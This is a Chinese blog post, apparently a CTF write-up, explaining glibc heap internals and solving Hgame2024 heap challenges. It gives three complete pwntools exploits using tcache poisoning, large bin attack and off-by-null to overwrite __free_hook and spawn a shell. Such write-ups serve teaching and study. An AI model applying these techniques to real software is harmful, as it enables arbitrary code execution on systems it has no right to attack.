heap初探 | Hgame2024 week2&week3 堆部分知识分析

heap初探 | Hgame2024 week2&week3 堆部分知识分析

M1aoo0bin

(っ●ω●)っ

对堆的简单认识

堆管理器:ptmalloc2 - glibc
内存分配区:arena,收发内存的地方
内存的单位:chunk

malloc 一个 chunk 的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct malloc_chunk

{

INTERNAL_SIZE_T mchunk_prev_size; //size of previous chunk (if free)

INTERNAL_SIIZE_T mchunk_size; //size in bytes,including overhead

struct malloc_chunk* fd; //double links -- used only if free

struct malloc_chunk* bk; /* only used for large blocks:pointer to next larger size; */

struct malloc_chunk* fd_nextsize; //double links -- used only if free

struct malloc_chunk* bk_nextsize;

}

由于64位 chunk 内存对齐 0x10 ,32位内存对齐 0x08
所以 size 位低三位始终为0,记录:
NON_ MIAN_ ARENA,当前 chunk 是否不属于主线程,1表示不属于,0表示属于。
IS_MAPPED,当前 chunk 是否是由 mmap 分配的。
PREV_INUSE,前一个 chunk 块是否被分配,1表示分配,0表示未分配。

释放后的 chunk : bin
unsorted bin:

  • 垃圾桶中的垃圾桶
  • 双向链表

fast bins:

  • 0x20-0x80
  • 后进先出 LIFO;单向链表(fd)

small bins:

  • 0x20-0x400

large bins:

  • 0x400-
  • 双向链表

(tcache)glibc-2.27:

  • 0x20-0x410
  • 进入tcache bin的 chunk 的 fd 指的是下一个 chunk 的头指针,而其他的 bin 会指向 chunk_addr,即 prev_size 的地方
  • tcache bin里的chunk不会发生合并(不取消inuse bit)
  • 后进先出 LIFO;单向链表(fd)

对于具体的chunk的申请释放我主要参考了,不再赘叙:

week2堆题分析

给的漏洞都是比较明显好利用的,静态分析的部分基本上都略过了。

Elden Ring II

UAF,没有对使用过的指针置0。

tcache_poisoning

tcache_put:

1
2
3
4
5
6
7
8
9
10
11
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS); //glibc2.30前存在
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get:

1
2
3
4
5
6
7
8
9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS); //glibc2.30前存在
assert (tcache->entries[tc_idx] > 0); //glibc2.30前存在
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

可以看到tcache在放入和取出的时候都几乎没有校验,只要有空位置就可以放,存在可以取的chunk就可以取。

所以 tcache_poisoning 发生在tcache_get时不作任何校验把一块别的地方当作重新利用的chunk,实现任意地址写。
实现 tcache_poisoning 则是需要把bin中的一个fd指向希望伪造的其他地方。在这个题里是UAF

调试时还可以看到改完fd后tcache bin里的count还是旧的,但依然没有问题。充分说明了放入和取出的优先级高于了很多检查。在2.30之后把 tcache_entry的结构改了之后就没这么好利用了,所幸改个count或者凑个count也不算太难。

下面是我的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level = "debug"

p = process("./vuln")
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(index,size):
p.sendlineafter(b">",b"1")
p.sendlineafter(b"Index: ",str(index).encode())
p.sendlineafter(b"Size: ",str(size).encode())

def delete(index):
p.sendlineafter(b">",b"2")
p.sendlineafter(b"Index: ",str(index).encode())

def edit(index,content):
p.sendlineafter(b">",b"3")
p.sendlineafter(b"Index: ",str(index).encode())
p.sendlineafter(b"Content: ",content)

def show(index):
p.sendlineafter(b">",b"4")
p.sendlineafter(b"Index: ",str(index).encode())

for i in range(8):
add(i,0x90)
add(8,0x20) #防止合并

for i in range(8):
delete(i)

show(7) #libc泄露

libc_base=u64(p.recv(6).ljust(0x08,b"\x00"))-0x1ecbe0
success("libc_base = " + hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym.system

#-------
add(9,0x60)
add(10,0x60)
add(11,0x20) #防止合并

delete(9)
delete(10)
#gdb.attach(p)
edit(10,p64(free_hook)) #tcache posioning

add(12,0x60)
add(13,0x60)
edit(13,p64(system_addr)) #任意地址写入system()

add(14,0x20) #准备触发
edit(14,b"/bin/sh\x00")

delete(14)

p.interactive()

对了这个题不允许使用用过的 index,哪怕free过,所以要数一下谁是谁。

fastnote

UAF,but null

fastbin double free

free后指针清零,不代表我们不能控制这个指针了。 fastbin double free 就是混淆对这个指针的控制,导致一边在正常获取堆块写数据的操作在 fastbin 里也有响应,伪造一个 chunk。依旧是实现任意地址写。

1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

fastbin 的源码里考虑了double free,但是只检查链表的后一个,且 fastbin 的堆块被释放后next_chunk 的 pre_inuse 位不会被清0。(应该是 fastbin 不会合并的机制?)
所以只要在free的中间加一个无关的 chunk,就能做到 fastbin double free 。

和上一题太像了,exp也没啥好贴的。

old_fastnote

UAF,but null && libc-2.23

SIZE位检查绕过

继续看到2.23 从 fastbin 里 malloc 时候的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
...
...
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}//这里要求size位的大小要符合fastbin才能把bin里的东西取出来
check_remalloced_chunk (av, victim, nb);//其实这一行很有意思,但是这个不用管,所以我放在最后讲(
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

所以我们想要实现的任意地址写继续使用__free_hook就不行了,__free_hook上面都是0,__free_hook之后的地址也没啥好考虑的,因为即使符合条件也没办法覆写__free_hook了。

__malloc_hook上面有一段不为空的地方可以利用,一般__malloc_hook-0x23能得到一个0x7f,满足0x20-0x80的要求。
所以这个题还是double free混淆一次fd,然后取的时候因为要检查size所以用__malloc_hook改写这样就可以塞进去一个能取出来的地址了。

注意:fastbin的fd记录的是chunk_addr,然而实际数据是从chunk_addr+0x10的地方开始写的,所以取出__malloc_hook-0x23的时候写入数据是从__malloc_hook-0x13的地方开始的。

week3堆题分析

week3全是堆题((,所以就是week3分析。

Elden Ring III

UAF,largebin_attack,只允许申请大堆块。

tcache mp_

感觉还是得先从tcache结构讲起我才能舒服。

首先我们知道 tcachebin 能够放64个 bin 的链表,从0x20+0x10*63=0x410
所以0x20-0x410的堆块free后会先来这里,否则是 unsortedbin 。

tcache_perthread_struct是用来管理 tcache 链表的,这个结构体位于 heap 段的起始位置, size 大小为0x250( glibc2.30以前 )。

1
2
3
4
5
6
7
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct
也就是调试的时候经常能够看到的第一个大堆块。(具体过程和源码实现可以看看wiki)
这个0x250也就是tcache_perthread_struct的大小0x10的头+0x01*0x40counts+0x08*0x40entries

在之后的版本这个 chunk 的大小为 0x290=0x250+0x40。多出来的0x40就是因为定义的时候更改了counts的类型。

1
2
3
4
5
6
7
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

tcache_entry记录的就是bin的单向链表(具体的实现还是要看源码但我觉得这个还是好理解的)

也就是说之前利用时比较熟悉的fd如果是被 tcachebin 记录的话实际上位置是了如指掌的,就在 heap 的开头但是摸不到。

终于讲到漏洞发生了。
有 tcache 的版本free的时候优先考虑 tcache,看到要进入tcache_put的条件是对比 mp_.tcache_bins作检查而非宏定义,这就给了我们操作空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
......
......
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins // 64
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7
{
tcache_put (p, tc_idx);
return;
}
}
#endif
......
......

tcache_put的内容之前看过,几乎没有检查的检查。里面有关TCACHE_MAX_BINS的 assert 也在glibc2.30后删去了,就以本题2.33的版本而言,下面的利用思路是可行的。

现在我们希望摸一下 tcache bin 就变成一件可能的事,把mp_.tcache_bins 变大,那么就能够让超过0x400的 chunk 来到 tcache bin 而不是 unsorted bin 。
根据刚刚看到的结构,这个不该挤进来的 chunk 的entry还会被挤到后面的 chunk 的内存里。

这个后面的 chunk 要是可编辑,那就终于可以实现我们想要的任意地址写了。不过还是得看看这个改完的地址能不能取。

1
2
3
4
5
6
7
8
9
// 从 tcache list 中获取内存
if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;

还是和mp_.tcache_bins作比较,所以改完mp_.tcache_bins后的任意地址写没有什么阻碍和之前一样操作就ok。tcache_get的检查前面讨论过也一样是很宽松。

最后,说了这么多,mp_.tcache_bins怎么改?(那当然是任意地址写)

mp_.tcache_bins

mp_从何而来?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# define TCACHE_FILL_COUNT 7
# define TCACHE_MAX_BINS 0x40
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
static struct malloc_par mp_ =
{
...
...
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

这样找到mp_地址就可以算它在内存里的固定偏移了。
20240623132504

mp_.tcache_bins的位置在 &mp_+0x50

large bin attack

任意地址但是不能随便写。
写在某个内存地址上一个 chunk 的地址,也可以看成一个大数。
个人理解最主要的漏洞点一个在于没有对于链表的完全性检查,另一个在于源码中类似这种危险的操作

1
2
3
4
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; //对于非目标的地方操作,而这里的fd或者其他指针可以提前被我们劫持

CTF-wiki
浅析 largebin attack

或者看看我写的

最后,
我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level="debug"

p=process("./vuln")
elf=ELF("./vuln")
libc = ELF("./2.32-0ubuntu3.2_amd64/libc.so.6")

def add(index,size):
p.sendlineafter(b">",b"1")
p.sendlineafter(b"Index:",str(index).encode())
p.sendlineafter(b"Size:",str(size).encode())

def delete(index):
p.sendlineafter(b">",b"2")
p.sendlineafter(b"Index",str(index).encode())

def edit(index,content):
p.sendlineafter(b">",b"3")
p.sendlineafter(b"Index:",str(index).encode())
p.sendafter(b"Content:",content)

def show(index):
p.sendlineafter(b">",b"4")
p.sendlineafter(b"Index: ",str(index).encode())

add(0,0x520)
add(1,0x600) #防止合并
add(2,0x510)
add(3,0x600) #防止合并

delete(0)
edit(0,b"a") #静态编译看到show的数组要edit一次才会写入内容
show(0) #libc泄露

libc_base = u64(p.recv(6).ljust(0x08,b"\x00"))-0x1e3c61
success("libc_base="+hex(libc_base))

mp_offset= 0x1e3280
mp_ = libc_base + mp_offset
__free_hook = libc_base+libc.sym.__free_hook
__malloc_hook = libc_base+libc.sym.__malloc_hook
system = libc_base+libc.sym.system

edit(0,b"\x00") #恢复fd指针
add(15,0x900)

payload = p64(__malloc_hook+0x10+1168)
payload += p64(__malloc_hook+0x10+1168)
payload += p64(0)
payload += p64(mp_+0x30)
edit(0,payload)

delete(2)
add(14,0x900) #large bin attack

delete(1)
edit(0,b"a"*0xe8+p64(__free_hook)) #修改__free_hook

# gdb.attach(p)
add(1,0x600)
edit(1,p64(system)) #在__free_hook处写system

add(2,0x600) ###准备触发
edit(2,b"/bin/sh\x00")

delete(2)

p.interactive()

ㅍ_ㅍ做这道题原理看了蛮久才理解,然后调试的时候nt了一下搞得我一直以为自己理解错了。。。自己给自己找麻烦(叹气

off-by-null

PRVE_SIZE位共用
1
2
3
4
5
6
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) //请求大小+0x17与0x0 and运算

虽然0x0我想表达的是16进制下最后一位都是0,就是二进制下0000,但是0的表达是有些抽象下面还是老实的用(~0xf)

以64位为例
其实可以看作(请求大小+0x10)+0x07 & (~0xf)
当请求大小的最后一位(16进制)小于 8 时,没有进位 (请求大小+0x10)+0x07 & (~0xf) = (请求大小 & (~0xf) + 0x10)
否则 (请求大小+0x10)+ 0x07 & (~0xf) = (请求大小+0x20)- 0x09 & (~0xf) =(请求大小 & (~0xf) + 0x20)

也就是说,如果你申请0x18的 chunk,malloc给你分配的将会是 0x20 的大小,去掉 0x10 的头,只剩下 0x10 的堆空间。
而剩下的0x08其实是和下一个chunk的PRVE_SIZE位共用的。
这里的逻辑大概是PRVE_SIZE仅在前一个 chunk free的状态下使用,但现在我正在往这个 chunk 里写东西,即非 free 状态,那么就可以覆盖。

还是有点意思的节省空间的方式。给了我们改写PRVE_SIZE的机会。

off by null

溢出了一个空字节,常见利用是,配合 malloc 的 0x10 对齐和双向链表里的unlink整理机制,改变PRVE_SIZE以及PREV_INUSE置0,把一个没有free过的 chunk 包进bin里面。

首先,原来指向这个 chunk 的指针还可以被我们操作,其次,它在 bin 里就可以通过 malloc 再要到一个指针。
可以做到两个指针指向同一个堆块,那么就可以double free(绕过题目对index的检查)。

我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level = "debug"
context.arch ='amd64'

p = process("./vuln")
elf = ELF("./vuln")
libc = ELF("./libc-2.27.so")

def add(index, size, content):
p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", content)

def delete(index):
p.sendlineafter(b"Your choice:", b'3')
p.sendlineafter(b"Index: ", str(index).encode())

def show(index):
p.sendlineafter(b"Your choice:", b'2')
p.sendlineafter(b"Index: ", str(index).encode())

add(0,0xf8,b'a')
add(1,0x68,b'a')
add(2,0xf8,b'a')

for i in range(3,10):
add(i,0xf8,b'a')
for i in range(3,10):
delete(i)

delete(0)
delete(1)
add(1,0x68,b'a'*0x60+p64(0x100+0x70)) #利用重叠的部分

delete(2)

add(0,0x88,b'a')
add(2,0x68,b'a') #只要能把原来的index=1前面的块请走就ok

show(1)
libc_base=u64(p.recv(6).ljust(0x08,b"\x00"))-0x3ebca0
success("libc_base="+hex(libc_base))
__free_hook=libc_base+libc.sym.__free_hook
system=libc_base+libc.sym.system

for i in range(3,12): #绕一下tcache
add(i,0x68,b'a')
for i in range(4,11):
delete(i)

delete(1)
delete(11)
delete(3)

# gdb.attach(p)
for i in range(4,11): #再绕一下tcache
add(i,0x68,b'a')

add(3,0x68,p64(__free_hook))
add(12,0x68,b'a')
add(1,0x68,b"/bin/sh\x00")
add(11,0x68,p64(system))
delete(1)

p.interactive()

堆的任意地址写

钩子函数:

__free_hook:

__free_hook的指向写入system,再释放一个内容为 “/bin/sh\x00” 的 chunk,就把 “/bin/sh\x00” 传给了system

__malloc_hook:

malloc 接收的是 size 的时候就已经调用了,所以system还需要传参的方式不太适用。可以使用one—gadget。
one gadget 是有条件的,所以可以借助realloc调整栈帧

__realloc_hook:

距离__malloc_hook很近,很近的意思是就在 &__malloc_hook-0x08 的地方

one-gadget:

one_gadget -f 路径

something interesting

check_remalloced_chunk(A, P, N)

在有关 fast bin 的源码里有这么一个函数:check_remalloced_chunk(A,P,N)
可能是看到 check 于是DNA动了一下就扒了下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# define check_remalloced_chunk(A, P, N) do_check_remalloced_chunk (A, P, N)

static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
//提取p堆块结构体中存放的size,由于低三位是标志复用,
if (!chunk_is_mmapped (p))//如果是mmap分配的堆块
//如果是mmap分配的堆块,则
{
assert (av == arena_for_chunk (p));//首先检查给定的av是否是预期的p的所属分配区
if (chunk_non_main_arena (p))//如果p不是主分配区的
assert (av != &main_arena);//检查av是不是主分配区
else
assert (av == &main_arena);
}

do_check_inuse_chunk (av, p);//检查本堆块是否正在使用

/* Legal size ... */
assert ((sz & MALLOC_ALIGN_MASK) == 0);//检查sz大小是否对齐
assert ((unsigned long) (sz) >= MINSIZE);//检查sz大小是否大于最小分配大小
/* ... and alignment */
assert (aligned_OK (chunk2mem (p)));//检查p指向的地址是否对齐
/* chunk is less than MINSIZE more than request */
assert ((long) (sz) - (long) (s) >= 0);
assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}

总之该函数主要用来检测 chunk 的 NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE 位。该函数中的 if 会判断 chunk 是否为 mmap 申请,还有是否为 main_arena 管理等。
在 fast bin 中:主要用来检测你要 malloc 的这个 chunk 的 PREV_INUSE 为是否为1。
最严格的是,他会检查p指针是否对齐(在64位里是0x10),按照这样的 check, __malloc_hook-0x23肯定过不了校验。然而实际上这样能通。

于是深入研究一下,发现源码实际上是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
Debugging support

These routines make a number of assertions about the states
of data structures that should be true at all times. If any
are not true, it's very likely that a user program has somehow
trashed memory. (It's also possible that there is a coding error
in malloc. In which case, please report it!)
*/

#if !MALLOC_DEBUG

# define check_chunk(A, P)
# define check_free_chunk(A, P)
# define check_inuse_chunk(A, P)
# define check_remalloced_chunk(A, P, N)
# define check_malloced_chunk(A, P, N)
# define check_malloc_state(A)

#else

# define check_chunk(A, P) do_check_chunk (A, P)
# define check_free_chunk(A, P) do_check_free_chunk (A, P)
# define check_inuse_chunk(A, P) do_check_inuse_chunk (A, P)
# define check_remalloced_chunk(A,


P, N) do_check_remalloced_chunk (A, P, N)
# define check_malloced_chunk(A, P, N) do_check_malloced_chunk (A, P, N)
# define check_malloc_state(A) do_check_malloc_state (A)

真正有函数内容的do_check_malloced_chunk (A, P, N)作为宏定义写在#else之后,而#if后面只是仅仅声明了这些函数。

#if是什么意思呢(*´・д・)?它是C语言中的 _条件编译语法_。

条件编译区域以 #if、#ifdef 或 #ifndef 等命令作为开头,以 #endif 命令结尾。条件编译区域可以有任意数量的 #elif 命令,但最多一个 #else 命令。
预处理器会依次计算条件表达式,直到发现结果非 0(也就是 true)的条件表达式。预处理器会保留对应组内的源代码,以供后续处理。如果找不到值为 true 的表达式,并且该条件式编译区域中包含 #else 命令,则保留 #else 命令组内的代码。

double free?

看到一个很奇怪的东西:https://xz.aliyun.com/t/13758?time__1311=mqmxnQKCuD9DBDBqDTeew4TDcjIK%2Bqx&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-25
在这位师傅的old_fastbin的exp触发malloc的方式是对同一个chunk free两次,触发double free报错。
很有意思,记录一下。

(*´∀`)~♥

感谢师傅晚上陪我一起看源码喵。尤其check_remalloced_chunk(A, P, N)的部分确实是帮大忙,看源码对我这种编程语言母语是python的人还是有点费劲的。

heap初探,over!

  • Title: heap初探 | Hgame2024 week2&week3 堆部分知识分析
  • Author: M1aoo0bin
  • Created at : 2024-06-21 21:35:53
  • Updated at : 2024-09-29 18:11:24
  • Link: https://redefine.ohevan.com/2024/06/21/heap初探/
  • License: This work is licensed under CC BY-NC-SA 4.0.